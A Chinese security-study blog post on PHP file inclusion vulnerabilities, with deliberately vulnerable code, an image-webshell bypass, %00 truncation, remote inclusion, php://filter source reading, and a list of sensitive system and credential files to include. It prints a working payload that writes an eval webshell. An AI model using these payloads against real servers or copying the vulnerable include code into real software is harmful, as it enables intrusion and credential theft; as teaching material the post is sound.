文件包含漏洞

  • Post author:
  • Post category:其他


本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记



前文链接


  1. WAMP/DVWA/sqli-labs 搭建

  2. burpsuite工具抓包及Intruder暴力破解的使用

  3. 目录扫描,请求重发,漏洞扫描等工具的使用

  4. 网站信息收集及nmap的下载使用

  5. SQL注入(1)——了解成因和手工注入方法

  6. SQL注入(2)——各种注入

  7. SQL注入(3)——SQLMAP

  8. SQL注入(4)——实战SQL注入拿webshell

  9. Vulnhub之Me and My Girlfriend

  10. XSS漏洞

  11. 文件上传漏洞

  12. 文件上传绕过



介绍

文件包含漏洞是指开发者再开发过程中不正确地使用了文件包含函数,导致用户可以非法控制文件包含的内容,从而产生的漏洞。



常见的包含函数

在这里以php举例

PHP中提供了四个文件包含的函数,分别是

include(),include_once(),require(),require_once()

函数 介绍
require 找不到北包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
require_once 与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含
include 找不到被包含的文件时只会产生警告(E_WARNING),脚本继续执行
include_once 与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含



实例

看一个实例

某网站存在文件上传点和文件包含漏洞


index.php

<?php
    if (isset($_GET['page'])){
        include $_GET['page'];
    }else{

    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    请上传文件:
    <input type="file" name="file" id="file"><br>
    <input type="submit" value="提交">
</form>
</body>
</html>
<?php }?>


upload.php

<?php
$path = './uploads';
if (!is_dir($path)) {
    mkdir($path);
}
if ($_FILES['file']['error'] > 0) {
    echo "上传失败";
} else {
    $name = $_FILES['file']['name'];
    $suffix=substr(strrchr($name, '.'), 1);
    $white=['jpg','png','gif'];
    $flag = false;
    for ($i=0;$i<count($white);$i++){
        if ($white[$i]==$suffix){
            $flag=true;
        }
    }
    if ($flag) {
        move_uploaded_file($_FILES['file']['tmp_name'], "./uploads/" . $name);
        echo "上传成功<br>保存位置:<a href='uploads/" . $name . "' target='_blank'>" . "uploads/" . $name . "</a>";
    } else {
        echo "请上传图片文件";
    }
}
?>

由于白名单的限制,用户不能将恶意代码上传到网站服务器。

但由于存在文件包含漏洞,所以存在绕过的方法。

首先上传图片马

2.png

,保存在

/uploads/2.png


在这里插入图片描述

接下来再包含页包含这个图片马,此时图片马的内容就会当做PHP的代码解析。

在这里插入图片描述

使得攻击者成功拿下WebShell



截断绕过

某些开发者认为文件上传漏洞很容易解决,只要固定文件名即可


index.php

<?php
    if (isset($_GET['page'])){
        include $_GET['page'].".php";
    }else{

    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    请上传文件:
    <input type="file" name="file" id="file"><br>
    <input type="submit" value="提交">
</form>
</body>
</html>
<?php }?>

此时再访问图片马,就会报错,因为此时包含的文件位置是**/uploads/2.png.php**,但这个文件在服务器中是不存在的,导致无法包含。

但此时可以使用%00进行截断,前提

magic_quotes_gpc=Off && version<5.3.4


http://192.168.1.5/?page=/uploads/2.png%00


在这里插入图片描述



远程包含

条件:

allow_url_fopen=On


在这里插入图片描述

此时如果我有一个可控制的服务器上存在一个PHP文件,内容为


http://192.168.1.5/1.php

<?php
phpinfo();
?>

我在被攻击的服务器上可以远程包含此文件,此时文件的内容就会当做php解析

在这里插入图片描述

假如远程包含的内容是条件竞争的代码,就会生成一个WebShell

<?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[manlu]); ?>'); ?>



敏感目录

在各种系统下都有一些敏感目录,可以尝试包含


Windows


C:\boot.ini

查看系统版本

C:\windows\system32\inetsrv\MetaBase.xml

IIS配置文件

C:\windows/repair\sam

存储Windows系统初次安装的密码

C:\Program Files\mysql\my.ini

MySQL配置

C:\Program Files\mysql\data\mysql\user.MYD

MySQL root

C:\windows/php.ini

PHP配置文件

C:\windows/my.ini MySQL

配置文件


Linux


/etc/passwd

/usr/local/app/apache2/conf/httpd.conf

apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf

虚拟网站设置

/usr/local/app/php5/lib/php.ini

PHP相关配置

/etc/httpd/conf/httpd.conf

Apache配置文件

/etc/my.cnf

MySQL配置文件



PHP封装协议

PHP有很多内置URL风格的封装协议。

PHP内置协议
名称 含义
files:// 访问本地文件系统
http:// 访问HTTP(s)网址
ftp:// 访问FTP(s) URLs
php:// 访问输入/输出流(I/O Stream)
zlib:// 压缩流
data:// 数据 (RFC 2397)
ssh2:// Secure Shell 2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径

例如可以通过这些协议读取文件

假如我要读取

index.php

的内容


http://192.168.1.8/?page=php://filter/read=convert.base64-encode/resource=index.php

这样就得到了index.php加密后的结果(Base64)

解密后
在这里插入图片描述

<?php
    if (isset($_GET['page'])){
        include $_GET['page'];
    }else{

    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    请上传文件:
    <input type="file" name="file" id="file"><br>
    <input type="submit" value="提交">
</form>
</body>
</html>
<?php }?>

更多的协议信息参照


https://www.php.net/manual/zh/wrappers.php



防范

严格规范用户的输入,永远不要相信用户的输入



版权声明:本文为realmels原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。